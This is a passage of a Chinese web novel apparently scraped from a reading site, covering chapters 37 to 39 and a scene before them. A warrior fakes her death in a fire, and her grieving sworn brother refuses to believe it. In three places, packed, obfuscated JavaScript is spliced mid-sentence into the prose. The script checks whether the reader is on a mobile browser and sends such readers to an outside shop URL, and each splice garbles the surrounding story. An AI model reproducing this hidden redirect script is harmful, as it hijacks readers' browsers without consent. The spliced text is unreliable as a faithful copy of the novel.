多年刀口舔血淬炼出的本能让她瞬间警醒,她试图睁开眼。 但——没睁开。 眼皮沉重如铁,耳、鼻、口被完全堵塞,胸口像压着千斤巨石,每一次吸气都耗尽力气,肺腑憋得快要炸裂。 “宿主!你醒啦?”999的声音同时带着劫后余生的狂喜和极度的恐慌,“快!你在土里!快出去!再不出去要憋死了!” 最后一点残存的空气即将耗尽,姜六航来不及多问,求生的意志压倒一切,她调动起全身的内力,灌注双臂,十指如钩,疯狂地向四周刨挖。泥土簌簌落下,终于勉强挣出一点活动的空隙。她蜷起身子蓄力,然后猛地向上一顶—— “哗啦!” 身体骤然一轻,刺目的日光撞入眼帘,她反射性地闭眼。 空气骤然灌入灼痛的肺腑,呛得她剧烈咳嗽起来。 片刻后,她稍稍缓过来,手脚并用地将自己从土坑里彻底拔出来,吐出嘴里的硬物在掌心攥紧。 顾不上满身满脸的污泥,她警惕地环顾四周。 朝阳初升,给林间镀上一层浅金。左前方,两栋熟悉的木屋掩映在苍翠的树木之后,两栋房屋之间,三棵高耸入云的巨大松树依旧如故,枝干虬结,浓荫蔽日,如同三把撑开的巨伞,牢牢守护着下方。 云山。 家。 一瞬间,无数破碎的画面浮现在脑海。 淘气地爬上松树掏鸟蛋,屏息躲在屋后岩石缝隙里等从庸叔叔来找…… 风穿过林梢,沙沙作响,恍惚间似乎夹杂着爹爽朗的笑语:“我的衡儿,是世上最聪明的孩子!”又仿佛是娘温柔的手,轻轻拂过她的额发。 她下意识地低头,脚下是厚厚的松软的落叶层。 一股酸楚冲上鼻尖,眼眶阵阵发热。 她曾经最爱在这里打滚。 可现在,再不会有人笑着将她拉起,为她拈去发间的落叶。 物还在,人已非。 爹娘的音容笑貌,连同那些无忧无虑的时光,都已彻底埋葬在六年前的血色之下,再也回不来了。 姜六航深吸一口气,压下翻涌的情绪,背靠一棵粗壮的槐树坐下,双腿交叠伸直,在脑海中发问:“怎么回事?” 按照999所说,她的身体被运过来,接着999启动回归程序,一人一统分道扬镳。她应该在车祸前三分钟的节点醒来,999也早已解绑。 现在的情形,显然出了差错。 万幸她是被埋在这里,土质较松软。 若是埋在屋后的岩石地里,她可没那本事在憋死之前拱出来。 也万幸她没时间,先在这里的地下准备一幅结实的棺材。 “呜——宿主……”999的声音带着哭腔,“统正要回去,发现这里的时空坐标乱了!乱流!差一点,你的精神体就被卷走了!再晚一步,就塞不回你的身体了!” 姜六航眯起眼,无数疑问翻腾,她抓住最核心的:“过去几天了?我的身体,不是说活不过那天凌晨一点?” “才、才第二天早上。”999的声音带着巨大的委屈和肉痛,“为了把你塞回来,保住你的命,统刚刚升级的几乎所有积分、所有能量,全砸进去了!呜呜……统现在只剩最基本的人口扫描功能了。防护罩没了,五感强化没了,空间打不开了,遇到危险统也帮不了你了!统还是没经过审查和批准,自作主张和你绑定的,要是二级任务没完成,或者你死了,统也就消散了!呜呜……能量不够,联系不上上级了,只有完成二级任务才能再次升级,重新获得积分和能量,送你回去……” 姜六航沉默地听着999哭诉,指尖无意识地捻起一片刚落下的枯叶。叶柄在指间转动。过了一会,她突然冷不丁问道:“时空错乱,你也回不去吗?” “啊?”999的哭声顿了一下,“对统没影响啊,统那边有接收设置。” 姜六航恍然:她和999回去的方式不同。 999是确定两个点,不管中间的路怎么变,999都能直接从这个点到那个点。但她是循着路径回去,时空错乱使得路径变化,她就迷路了。 “我回不去,会扣你的积分吗?或是对你有惩罚?还是,按照规定,你必须保证我安全到达原世界?” “不扣积分,没惩罚啊。”999道,“按下回归程序,任务就全部完成了,不管后面发生什么,都和统没关系啊。” “那你为什么回来?”姜六航的声音平静无波,捏着叶柄的手指却微微一顿。 “统不回来你就完蛋了啊!”999脱口而出,随即像是发现了什么,声音陡然拔高,带着点小心翼翼的雀跃,“宿主,你是不是……有点点感动?” 姜六航看着指间旋转的叶片,慢悠悠道:“是啊。” “嘿嘿!”999立刻破涕为笑,那点委屈瞬间被抛到九霄云外。 姜六航:看把统得意的。 小孩的脸真是六月的天,刚刚还哭着呢。 “宿主你是统的偶像啊。”999羞涩地道,“统不能不管你。” 姜六航:“……” “三九,”她换了个更顺口的称呼,指尖的叶片旋转速度加快,“我的身体,完全修复好了?” “三九?三个九?”999对这个新名字适应良好,甚至有点小兴奋,“我是三九,你是六,三、六、九,嘿嘿嘿!”傻乐了两声,系统反应过来,“没有!哪能完全好啊!拼了老命,也只能保证你再活三年半。” 旋转的叶片在空中短暂地停滞了一瞬,几乎难以察觉,随即又反向转了起来,似乎刚才的那一下停顿只是刚好要转换方向。 999的声音变得严肃起来:“这三年半,我们必须完成二级任务,统计出全国人口的详细信息,包括每个人的身份。只有完成后,统才能再次升级,联系上级,找到送你回去的路径。” “具体怎么做?”姜六航扔掉树叶,起身走向前方的木屋。 一眼看过去,井还在。 “航航你看——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“回去了——不,没回去。”999道,“她活到八十八岁,身体实在不行了,于是仿上古之法,择贤传位,禅位给男主。女配002号系统终于完成任务,送她回去,却不幸遇上时空错乱,她的精神体被乱流裹走了。” 啧啧,这波操作。 若不是遇上不可控的意外,当真是十全十美。 姜六航心中一时升起无限敬仰。 “她有儿女吗?她把皇位传给外人,她的儿女肯干?” “她死后的第七天,她的长孙女就把男主赶下皇位,把皇位夺过来了。” 姜六航:“……” 说话间走到了井边,姜六航拿起挂在井沿的水瓢,舀起冰冷的井水。左手持瓢倒水,右手在水下展开。 一颗玉石印章,被水洗净后,散发出柔和内敛的光泽。 “航航,这就是你暗渡陈仓,含在嘴里带来的东西啊?是什么?”999问。 “将军令。”姜六如收拢掌心,“战时凭此令,可调遣军队。” 拜将台上,大哥当着三军将士的面,亲手将它放入她掌中的情景,仿佛就在昨日。 发现印章不见后,为防人拿着作乱,朝廷肯定会下令废除其功用。 她带来,不过是不舍得大哥给她的这件最珍贵的礼物,想要它永伴自己在地下。 —— 京城王府火场的清理,进行了整整六天。 日夜不停,一隅隅、一寸寸、一厘厘地搜索。 37. 第 37 章 当夜,姜子循紧急调来京城街道司的三百军士,一个半时辰后,好不容易才扑灭明火。 场上焦黑一片,断木残梁堆成了山,空气里满是刺鼻的焦糊味,军士们举着火把,争分夺秒清理废墟。 每个人心头都沉甸甸的。 在这样的大火里,存活的几率微乎其微。 秦信睁眼时,天还未大亮。 一支残烛在床头摇晃,火光微弱,却刺得他下意识闭眼。 “总督!您醒了!”冯简几乎是扑到床边,声音急切,“身上哪里有不舒服吗?” “冯简,”秦信牵了牵嘴角,声音轻得像怕惊扰什么,“我做了一个……很离谱的梦,竟梦见将军被困在火里,房子塌了,把他压在下面。”他摇摇头,像是要甩掉那荒谬的画面,“定是这些日子太累了。等将军回来,我得好好歇……” “总督!”冯简叫道,语音哽咽,两行泪突然从眼中涌出,顺着脸庞流了下来。 秦信脸上的表情瞬间冻结,他直勾勾地盯着冯简,眼珠一动不动。 那些被潜意识强行压下的记忆碎片,带着巨大的力量,轰然撞破了他自欺的屏障。 他的瞳孔骤然放大。 火! 倒塌的房屋! 他急促地吸着气,喉头剧烈滚动,嘴唇张开。 见此情景,冯简心脏一下子缩紧,头皮发麻,几个时辰前火场边总督那撕心裂肺的嘶喊似乎又回响在耳边。 然而,床上的人这回并没有叫出声,或者是没来得及叫出声,他突然发起抖来,全身肉眼可见地颤动,上下牙关相碰,咯吱咯吱地一阵阵响。 “将军救……出来……了吗?”短短一句话,被牙关的碰撞声切割得支离破碎。 冯简低下头,忍着悲伤:“还没找到将军。” 床上的人猛地坐起,冯简伸手去搀扶,却被他一掌推开。 他连滚带爬跌下床榻,只着中衣,赤着脚,披头散发,踉跄着冲向门外。 冯简抓起外袍和鞋子,慌忙追了上去。 晨光熹微,天边刚刚露出一点鱼肚白。 秦信沿着一条青石路往前跑,耳中“轰轰”作响。一些声音消失了,又有一些细微的,甚至根本不可能听见的声音无限扩大。心脏的跳动,血流在体内的奔腾,像急促敲打的鼓点,像震耳欲聋的惊雷,一声比一声大,一声比一声沉。 那一声一声,都在叫着: 六航! 六航! 六航、六航、六航! 飞檐斗拱、雕梁画栋、假山流水、奇花异草,在眼前一一闪过。 这一景一物,都是秦信无比熟悉的——在此之前,他曾来过无数次,改造园林,修缮楼阁,布置房屋,满心期待地等待这里的主人归来。 当那片跳动的火把光芒刺入眼帘的瞬间,秦信眼前骤然一片血红,那火把似乎都化作“劈里啪啦”熊熊燃着的火焰,扑面而来。 他一阵眩晕,捂住脑袋,狠狠咬破舌尖,尖锐的刺痛强行刺穿混沌,他拉回涣散的意识,继续朝前奔去。 看见了。 一片焦黑的、狰狞的废墟。 那座王府里最宏伟的楼阁,在迎来主人的第一晚,烧成了一片废墟。 残垣断壁,焦炭碎石。 一簇簇浓烟冒从深处腾起,显然底下还有余火。 军士们吆喝着搬运巨大的焦木和笨重的家具,每一次动作都扬起漫天灰烬,将整个场地笼罩。 其它鸟雀早已惊走,唯有一只不知从哪里来的傻鸟,固执地盘旋在废墟上空,发出“啾啾”的哀鸣。 秦信僵硬的视线扫过忙碌的军士,缓缓落在废墟边缘沉默的人群上。 姜子循、谢思礼、裴祥光、应匡、武成、迟非晚……在京城的,都来了。 他如木偶般僵直着身体,拖着沉重的双腿,一步,一步,机械地走上前。 人群无声地分开一条路。 三具尸体并排摆在地上。谢思礼和陈大夫蹲在一旁。 冯简追上来,为主子披上外袍,套上鞋子。 秦信像失去魂魄,任由冯简摆布,他死死盯着三具尸体,脸上的肌肉不受控制地抽搐。 姜子循走到他身侧,脸上尽是一夜忙碌的疲惫之色,低沉沙哑的声音道:“总督,这是刚才挖出的尸体。” 他指向第一具尸体的右臂,那里依稀可见小半块红色半月形刺青,“谢执法比对过,位置、形状都与斩月楼标记吻合。” 他又指向第二具,“陈大夫判断此人三十余岁,右臂上烧得看不清是否有斩月楼刺青,但和前一人佩剑样式相同,剑柄的雕刻出自同一工艺。” 应匡在一旁低声补充:“陈大夫说,此二人都是被重刀所伤致死,应是将军杀的。” 陈大夫正在检查第三具尸体,这具尸体烧毁最为严重,面目模糊,武器遗失,右臂上和第二人一样,漆黑一片。 好一会后,她停下动作。所有人的呼吸都屏住了。 “死者二十来岁,”陈大夫神情凝重,“致命伤在喉部,被火痕掩盖,难以辨别被何武器所伤。右臂骨骼较左臂稍稍增粗,骨质变硬,小指掌指关节有顶珠茧,生前惯用武器,应是……重刀。” “二十岁?重刀?”武成脸色煞白,“陈大夫,这、这确定吗?” 陈大夫用棉布擦拭着手指,花白的眉头紧锁,黯然地摇了摇头:“武将军,这样基本的探查,我不会出错。” 空气粘稠得如同凝固的泥沼,沉重地压在每个人胸口,令人窒息。 一向圆滑的迟非晚此时也没出声活跃气氛,她眼神呆滞,无意识地缓缓转动手腕上的玉镯。 应匡抓着长髯,扯断好几根胡须,他却一点没感觉到。 裴祥光左右望望,率先打破沉寂:“那就是说,他可能是将……”最后一个“军”字尚未说出,一双猩红涌动的凤目陡然盯向他,骇得他倒退了一大步。 秦信转回头,俯身拂开覆在尸体左臂上的碎布,接着蹲下,手指颤抖地按在尸体左腕上方约四寸处,抹去其上沾染的灰烬。 他眼睛死死盯着,仿佛要将那处看穿。 众人面面相觑,不明所以。 “没有。” 听见蹲着的人哑着嗓子吐出的两个字,众人都莫名其妙,谢思礼问道:“没有什么?” “没有红痣,不是六航。” “红痣?”姜子循一愣,顺着看向尸体手臂那处,神情有点异样,“总督是说,将军左臂此处,有一颗红痣?” “没有红痣,不是六航。”秦信没看任何人,眼帘低垂,把先前的话重复了一遍,比起回答姜子循的话,更像是在自语。 姜子循正要再问,就在这时,两名军士又抬着一具新挖出的尸体过来,转移了所有人的注意力。 陈大夫才一上手,就道:“是个女子。” 一片劫后余生般的吐气声响起。 然而,这只是漫长煎熬的开始。接下来的三天,众人的心一次又一次地提起。 所有人都在废墟中拼命挖掘,第五具、第六具、第七具……尸体被不断抬出。 日头升起,攀至中天,又缓缓沉落。 火把重新点燃,照亮夜空。 一天,又一天。 第三天下午,废墟终于被彻底清理干净。 军士们抬着最后一具焦尸朝着秦信走过来,带着哭腔喊道:“总督——!” 沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814413|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 途的军士纷纷随在后面,压抑的啜泣声越来越多,越来越响,最终汇成一片悲鸣的浪潮。 秦信僵立在原地,愣愣地看着人群向他走过来,愣愣地看着那具几乎不成人形的焦骸,看着焦骸手中紧握的那把刀。 刀身宽厚,形制古朴沉重,即使被烟熏火燎,他也一眼认出,那是义弟从不离身的佩刀,名震天下的霹雳刀! 一阵撕裂的疼痛从身体里升起,眼前发黑。 陈大夫的嘴唇在他模糊的视线中开合,他强迫自己凝神,只捕捉到几个破碎的字眼:“肋骨……断裂……二十来岁……重刀……” “将军!”周围响起一片悲号。 不。 这不是真的。 是梦。 是噩梦。 不然他怎会看不清东西,听不清声音? 胸口似乎很不舒服,他茫然地抬手按住,突然“哇——”地呛出一口血。 “总督!!”众人魂飞魄散,骇然惊叫。 冯简等近卫目眦欲裂,抢上来扶住他,一边吼道:“陈大夫!快来!” 秦信却猛地挥开所有搀扶的手,他抬起眼,凤眸红得要滴血,和衣襟上洒上的血迹一个颜色。 视线迟缓地落到被放到地上的尸首。 到那尸首面前只有四步,他走得跌跌撞撞,最后一步,他跌跪到尸体旁,手颤抖着摸上去。 左臂、右臂、腿、脚……他一一地摸索过去,动作缓慢,带着异常的专注。 众人心急如焚,都担心总督的身子,可看他一副失了神智的模样,谁也不敢贸然出声,唯恐引起他更激烈的反应。 时间一点点过去,眼见总督跪在地上把尸体从头到脚摸索了一遍,停顿片刻,竟又固执地从头开始,仿佛除了这个,不知道该做什么,迟非晚才小心翼翼地问道:“总督,您……在找什么?” 这焦骸上还能藏下什么? “将军令呢?”地上的人头也未抬,仍在一处处地搜索,声音带着一种压制的平静。 众人互相望望,最后裴祥光小声嗫嚅:“许是掉在火场里了?衣服都烧没了。” “没有将军令,怎能下定论,他是将军?”秦信突然吼出声。 没有将军令,他不认! 绝不! 六航的将军令,从不离身! 纵使所有证据都指向那残酷的答案。 纵使这是埋在火场的最后一人。 他也——不认! 那人面容扭曲,血眸翻涌,胸膛剧烈起伏,看上去摇摇欲坠,已处在崩溃边缘。众人不忍卒睹,心中一片惨然。 场上一片寂静,先前的悲咽声都被压下,只有一只傻鸟还在不知疲倦地一圈一圈盘旋,“啾啾、啾啾”地鸣叫。 所有人的目光都投向了那片焦土。 在满地的残砖碎瓦、厚厚灰烬中寻找一枚小小的印章,无异于大海捞针。 “搜!”姜子循用袖子狠狠擦了一下眼,冲着军士们喝道,“场上所有东西,一砖一瓦,一木一石,全部筛一遍!便是灰烬也要滤一遍!” 军士们齐声应“是”,转头重新扑入火场。 —— 梁州云山,姜六航将最后一件衣物仔细叠好,收入行囊。 她动作很慢,思绪不觉飘远。 从前出行,大哥总是嫌弃地把她赶到一边,亲手替她打理好一切。 以后,都得靠自己了。 今天是她放火后第八天,不知大哥发现她埋在地下的信没有? 行囊收拾妥当,脸上的药水已生效,她抬手,缓缓揭下一层面具。 999语无伦次地惊叫起来:“航航!你、你……你!你怎么长这个样子!” 38. 第 38 章 日光斜射进门槛,投下一道光柱。姜六航站在光与暗的交界处,举着一面双鸾菱花铜花镜,镜中映出一张六年未曾示人的脸。 日光为这张脸镀上朦胧的金边。比之姜帅,只是眉、眼、鼻、唇的位置与比例稍作偏移,便硬生生从相似的骨相里,雕琢出截然不同的两个人。 “长得很好啊。”姜六航对着镜中人挑眉,“怎么,我不该长这个样子?” 999已经懵了:“可是,你怎么和姜参军长得一个样!”系统的声音里满是难以置信,“统在军营里见过姜参军一次,这五官,这骨相!说你们没关系,本统绝不信!” 999瞬间调出过去的片段:“去年!那个小女孩,姜大人的小女儿,她说过,她有个姐姐,和你同岁,生下来就在通州白虎山遇匪失踪了。”系统逻辑链瞬间贯通,声音斩钉截铁,“航航!你就是姜家二十一年前丢失的女儿!” 镜中的杏眼微不可察地敛了一下,随即恢复如常。姜六航放下铜镜,指尖拂过冰凉的镜面,声音轻得像叹息:“是啊。” 她转身走向床边,翻出八天前穿来,已经洗干净的王袍,和那张龙影面具拿在一起。 出到门外,她顺手扛起屋檐下一把锄头,来到两座木屋之间。将王袍和面具放在旁边的木凳上,她走到三棵并立松树的中间那棵,手指抚上树干距离地面半米的位置。 在树脂、苔藓的掩盖下,有三个小小的刻字。 姜六航顺着笔划抚了一遍,转身,背靠树杆,朝前走去,一边数着步子。 一、二、三、四、五。 站定,扬锄。 不多时,“咚”一声轻响,触到了硬物。姜六航丢开锄头,蹲下身,双手飞快地扒开湿泥,一个漆黑的长条木盒显露出来。 盒内静静躺着一柄长剑和一个黑色布袋。 剑鞘由坚硬的铁木所制,通体雕刻着跃动的火焰纹路,剑柄末端,悬着一条红色丝线编织的剑穗,颜色已有些黯淡。 姜六航的指尖缓缓抚过冰冷剑鞘,下一瞬,她猛地握紧剑柄,骤然发力! “锵——!” 清越的龙吟之声响彻山间,鸟雀惊飞。 “这就是赤霄剑?”999的声音带着一丝敬畏。 姜六航手腕轻抖,挽了几个凌厉的剑花,寒光吞吐,残影未消,剑已回鞘。她将剑放回盒中:“嗯。” 当年,十五岁的她携着这把赤霄剑,由南向北,一路所向披靡。那时爹娘尚在,无忧无虑,意气风发,是两辈子最快意的一段日子。 姜六航顿住思绪,回到眼前。她伸手探入黑色布袋内,取出一物。那东西和肉皮一个颜色,触手冰凉柔滑,赫然又是一张龙影面具。 她拿着走到木凳前,将其平铺在凳面上。随后拿起先前放下的东西,走回坑边。先将“姜帅”面具仔细放入布袋中,再把叠好的王袍压在布袋之上。 合拢盒盖,放回坑内,掩土填平。在上面使劲踏了几下,把土压紧实了。 姜六航扛起锄头,转身往回走,对999道:“万事俱备,明天出发。” 经过木凳时,她拈起那张新取出的面具。 “这张,不一起埋了?”999疑惑地问。 “出门肯定要戴帏帽遮面,但凡事怕个万一。‘姜帅’的脸不能用了,本来的脸……”她顿了顿,“恐怕多生出枝节,也最好藏起来。这张脸除了招人骂,倒也没别的坏处。” 她说得轻巧,999却忽然有些难过。 “这是你做赤霄剑客时戴的?” “嗯。” “你和姜参军长得那么像,认识他的人见到你的脸,就能猜到你的身世。你舍不得离开云山,离开养父母,不想被找到,所以北上挑战时才戴上面具,是不是?” 姜六航已回到屋内,将面具浸入一盆药水中,手指轻柔地搓洗着。 “倒也不是。”她动作未停,一边解释道,“二十一年前,我亲外公病重,姜大人、王院长从和州赶回通州老家探望。路途颠簸,王院长动了胎气,在途中提前生下了我。第三天行至白虎山,遭遇山匪。姜大人带着家仆抵挡,混乱中,我被一个仆人抱着逃出,却与他们失散。那仆人虽摆脱追兵,却重伤不治,死在路边。恰逢我爹娘路过,捡到了我。” “那时姜参军才两岁,姜大人他们远行并未带上他。我从未见过这位兄长,又怎会知道自己与他容貌相似?怎会想到要戴面具防备被人认出?” 她拎起湿淋淋的面具,走到铜镜前,声音低了下去:“戴上面具,是怕那些输不起的宵小之徒,打不过我,记恨在心,来云山寻我爹娘的麻烦。” 姜六航说着,将面具慢慢覆在脸上。 999目瞪口呆地看着宿主眨眼之间又变了一个模样。 —— 同一天,京城,姜府。 书房里,姜子循拿了几本文书,步履匆匆欲往外走。门帘一挑,王院长提着个朱漆方食盒进来,径直挡在他面前:“饭也没吃就出去,又打算饿着肚子熬到几时?你这几天没一顿按时吃的,身子骨还要不要?” 姜子循眉宇间是化不开的疲惫与忧虑,长叹一声:“我心里堵得慌,实在没胃口。” 王院长不容分说地将食盒塞进他手里:“食为命本,没胃口也得吃!” 姜子循只得坐下,默默打开食盒。饭菜温热,香气扑鼻,他却味同嚼蜡。 王院长坐在他对面,夹了一筷子他平日爱吃的菜放入碗中,低声问:“总督,还是不肯认?” “不认。”姜子循摇头,忧色更重,“可王府废墟搜了两遍,将军令踪影全无。倒是搜出了你给将军装腌菜的那个瓷罐。” 王院长执筷的手微微一顿,脑中倏然闪过将军的面容,再想到将军带着那罐腌菜远行,空了也没扔掉,依旧带回来,心口蓦地一疼。 “这几天皇上情形如何?” 姜子循声音艰涩,“不好,回宫后一直把自己关在殿内,入夜也不点灯。前天命应、武二位将军率兵出城搜寻,那意思,分明是盼着将军追敌出城了。” 王院长迟疑地道:“可如果将军追着匪徒出城,沿途应该有过激战,不可能毫无声息吧?” “是啊,其实我们心里都已清楚,火场焦土中最后挖出的那具尸首,必是将军无疑,但总督不肯接受。”姜子循黯然道,“那遗体……总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821326|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要好生安葬,总督只最初在遗体上搜检将军令,之后却是再没看一眼,竟是置之不管了。” 王院长不忍:“总督向来把将军当亲兄弟待,这突然没了,心里一下转不过来。” 兄弟? 姜子循摇了摇头,不是兄弟,是……爱人。 “京城不是已清扫过数轮?斩月楼如何还能藏下四十几人?”王院长问。 姜子循也不解:“半年数轮清查,挨家挨户,废弃之地、隐秘之所无一放过,城门盘查滴水不漏。按道理,他们绝无藏身之地。我和谢执法反复核查那几天的进出记录,毫无破绽。这四十几人,竟像是凭空冒出来的。” 他勉强将饭菜扒拉完,起身欲走,王院长拿起一旁放着的文书递给他。 姜子循伸手接过,目光无意间抬起,恰恰撞进妻子那双杏眸里。那眸色,那眼型……他心头猛地一跳,一阵恍惚。 “子循?”王院长察觉到他的失神,关切地询问。 “无事。”姜子循立刻回神,安抚地拍了拍妻子的手,温言道,“忽地想起一件公务。” 只是巧合。 那红痣也是。 夫人自建了平乐院,才渐渐从失女之痛中缓过些心神,他绝不能再勾起妻子心底的伤痛。 姜子循出得门来,直奔皇宫。 将军身死,已是无可挽回的定局,再如何痛心疾首也是徒然。 活着的人,只能向前看。 他此刻最忧心的,是总督。 深深的恐惧如毒蛇般缠绕在他心头,他总觉得,这事不能善了,要出天大的乱子。 穿过重重宫门,刚走到一道回廊,忽觉身后一阵劲风掠过。姜子循定睛看去,一个女子的身影正往前狂奔,腰间佩着长剑。 是裴佑将军! 前几个月裴将军奉令去益州剿灭残余势力,这是事毕归来了? 为何如此行色匆匆? 莫非有紧急军情? 正疑惑间,身后又传来一阵急促慌乱的脚步声。姜子循回头,只见裴祥光气喘吁吁、满面惊惶地追来。 “裴大人?你这是……”姜子循愕然。 “姜大人!”裴祥光如同看到救星,一把死死攥住姜子循的胳膊,不由分说拽着他就往前跑,声音里满是惊怒,“那孽障!不知从哪里听到的谣言,竟说将军是被总督暗中害死的!她疯了,要去找总督对质!这孽畜!要闯下泼天大祸,连累我们一家啊!姜大人,她不信我,你的话她或许肯听一二,快帮我拦住她,说个明白!” 姜子循闻言大惊。 才过得八日,竟传出这样恶毒的谣言,这背后,是何方势力在搅弄风云? 不过震惊只一瞬,他立刻冷静下来。 谣言虽恶,破之不难。 当夜王府火起,救火、清剿、挖尸的经过,数百人亲眼目睹,明明白白,铁证如山,不惧任何歪曲编造。 两人再顾不得仪态,撩起袍角发足狂奔。 然而终究是迟了一步。 他们刚赶到殿前广场,远远便看见裴佑已然撞开试图阻拦的冯简,挟着一身凛冽如冰的寒气与怒意,大步跨入了殿门。 39. 第 39 章 正是午时,阳光洒在金砖地上,晃得人眼花。 勤政殿内殿,却被一层厚重的灰色布幔隔绝了光明。 天气渐暖,何需此物?裴佑心头掠过一丝异样,但转瞬被滔天的悲愤吞没,不留痕迹。 她以剑鞘挑起布幔,携着一身煞气,闯入殿内。 光线骤然昏暗。 大幅的灰色帘幕不仅遮住了殿门,更将所有的窗户封得密不透风,宽敞明亮的大殿此刻沉入一片压抑的昏黑。 裴佑眯眼适应片刻,才看清殿内情形。 秦信坐在桌案后,头颅低垂,仿佛凝固的雕塑,辨不清神色。 应匡立于桌前四五步外,正沉声禀报:“出京搜寻四十里……”听到动静,朝这边看过来。 裴佑大步向前,一双眼里燃着熊熊烈焰,几乎要喷薄而出。 应匡面庞上掠过惊疑:“裴将军,你这是?” 裴佑置若罔闻,径直越过应匡,在离桌案仅两步处霍然停步,俯身死死盯住秦信,一字一句,淬着寒冰:“是你,害了将军吗?” “裴将军!”应匡和紧随而入的冯简同时失声惊呼,面色大变。 从裴佑闯入、逼近,秦信始终垂着头,纹丝不动,直到此时,他才极其缓慢地抬头。 那双温润的凤眸,此刻空洞无物,视线似落在裴佑脸上,又似穿透了她,望向虚无的某处。脸色是骇人的青白,嘴唇翕动,却没发出任何声音。 应匡又惊又急,手下意识握住枪柄:“裴将军说什么话?总督怎会害将军?将军是被斩月楼帮众围攻,困于火海,不幸……” 裴佑陡然转身:“围攻?多少人?” 应匡:“四十四人。” “哈!哈!哈!”裴佑像听到天大的笑话,发出尖锐的三声笑,“四十四人!编谎也编得像样些!莫说四十四人,便是四百人、四千人,也休想困住将军!” 他们根本不知道,将军有多强! 刀剑双绝,纵使千万人,也当来去自如! 她倏然回身,双手“砰”地按在桌案上,身体前倾,几乎与秦信鼻尖相抵。双眼瞪得滚圆,咬牙切齿吼道:“秦信!你亲口告诉我,是不是你?是不是你忌惮将军功高震主,早早铲除隐患,暗中下了黑手?是不是你助斩月楼潜入京城?是不是你事先给将军下了毒,让他无力应战?说!是不是你!” 秦信的唇抿成一条线,下颌绷紧。 “出去。”他道。 声音嘶哑,好似几天几夜没喝过水。 “回答我!”裴佑的怒吼震得梁上微尘簌簌而落,“你心虚?敢做不敢认?” “当年你在滁州被困,所有人都放弃了,是将军,不顾生死,冲破重重围困,把你救出来!群雄争霸,抢夺天下,和州势力本为最弱,是将军,一场场战役,一次次搏杀,才使得和州一步步壮大,最终成就这偌大的霸业!”裴佑激愤的声音中泄出一丝哽咽,“秦信,你怎能,怎能做这样没良心的事!” 应匡:“裴将军你误会了……” 裴佑手臂猛地向后一挥,打断他:“我要他自己说!秦信!你敢不敢!当着我的面,当着这朗朗乾坤,亲口说,将军的死,和你无关?你说!” 声声指责,声声激愤,却像撞在无形的壁垒上,没激起半分反应。 秦信漠然地移开视线。 冯简朝裴佑走过来,作势要拉她:“裴将军,你先出去冷静一下。” “轰!” 裴佑一拳砸在桌案上,目眦欲裂。 那是她的师父! 虽无师父之名,却有师父之实! 三年来,一招一式地教她剑术。 一丝不苟,倾囊相授。 一日为师,终身为父! 自己怎能让他死得不明不白,求不到一个真相? 管他是谁,杀了她的师父,都要偿命! “秦信!”裴佑大喝。 手腕一振,白虹剑化作一道夺命的炫目寒光,直刺眉心! 秦信瞳孔骤然收缩,剑尖在他眸中凝成冰冷的两点。 他的手本能地握住了腰间的刀柄,手背青筋暴起。 然而,剑风扑面,死亡的气息已至眉睫,他却始终没有下一步动作。 他仿佛分裂成了两个人。 一个在疯狂呐喊,催促身体抽出匕首格挡。 另一个却在高处冷冷俯视,疲惫地、冷漠地,似乎不管这世上发生什么,生也好,死也罢,都已与他无关。懒得动弹,懒得说话,懒得呼吸。 “就这样吧。”他想。 母亲,我答应过你,好好活下去。 可是剑太快,我来不及反应。 剑尖即将刺入眉心,裴佑眼中闪过惊愕。 即便是对上将军,堂兄也不至于一招都不能抵挡。 她只想逼问,没打算真相未明时就取他性命。 裴佑急忙回撤,但先前悲愤之下,出手倾尽全力,此刻竟然收势不住。 剑势稍缓,却依旧直直地向前。 寒芒映上凤眸。 那里面,没有惊惧,没有愤怒,甚至没有一丝波澜,只有一片死水般的平静,迎向那飞掠而来的、终结一切的寒光,幽深,寂冷。 结束了。 来这世上一趟,千般筹谋,百般挣扎,到头来,想留住的,都留不住。 他倦了。 他认输。 “总督!” “孽畜!” 门口布幔蓦地被挑起,阳光倾洒进来,照在里间的四人身上。 姜子循和裴祥光站在门口,瞧见里面的情形,骇得魂飞天外。 “锵!” 一柄长枪横过来,狠狠向上格开剑身! 应匡右脚猛地向前踏出一步,双手持枪,虎目圆睁,因动作迅猛,长须根根向后飘飞,像被风吹动。 裴佑本就在收力,被这一挡,虎口剧震,白虹剑脱手飞出,擦着秦信的额角掠过,顿时一道血线崩现,血珠飞溅。 白虹剑落地,发出清脆的一响。 冯简离得稍远,异变突起时,他脑海一片空白,不假思索地和身扑去,重重撞在裴佑身侧,两人一起滚倒在地。 十几个近卫蜂拥而入。 殿内乱作一团。 裴祥光满面惊怒和后怕,冲到裴佑身前,抬脚就要踢过去:“你这孽畜!自己作死便罢,还要祸害家里吗?” 侄儿若真死在孽女手下,裴氏满门怕是要被铁骨军生吞了。 裴佑仰头,眼中残存的杀意如利刃,凶狠地刺向裴祥光。 